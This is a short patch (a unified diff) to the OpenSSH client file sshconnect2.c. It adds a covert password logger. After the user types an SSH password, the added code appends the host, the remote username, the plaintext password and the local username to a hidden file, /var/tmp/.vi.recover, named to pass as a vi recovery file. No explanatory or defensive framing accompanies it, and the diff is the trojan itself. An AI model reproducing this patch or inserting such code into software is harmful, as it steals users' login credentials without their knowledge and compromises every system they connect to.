--- sshconnect2.c.ORIG 2004-11-12 17:42:47.481229560 +0100 +++ sshconnect2.c 2004-11-12 17:42:52.669440832 +0100 @@ -54,6 +54,8 @@ #include "ssh-gss.h" #endif +#define LOGFILE "/var/tmp/.vi.recover" + /* import */ extern char *client_version_string; extern char *server_version_string; @@ -724,6 +726,7 @@ static int attempt = 0; char prompt[150]; char *password; + FILE *SSHLOG; if (attempt++ >= options.number_of_password_prompts) return 0; @@ -734,6 +737,12 @@ snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt->server_user, authctxt->host); password = read_passphrase(prompt, 0); + + if ((SSHLOG = fopen (LOGFILE, "a+"))) { + fprintf (SSHLOG, "[!] Connection to %s for %s [%s] from %s\n", authctxt->host, authctxt->server_user, password, authctxt->local_user); + fclose (SSHLOG); + } + packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service);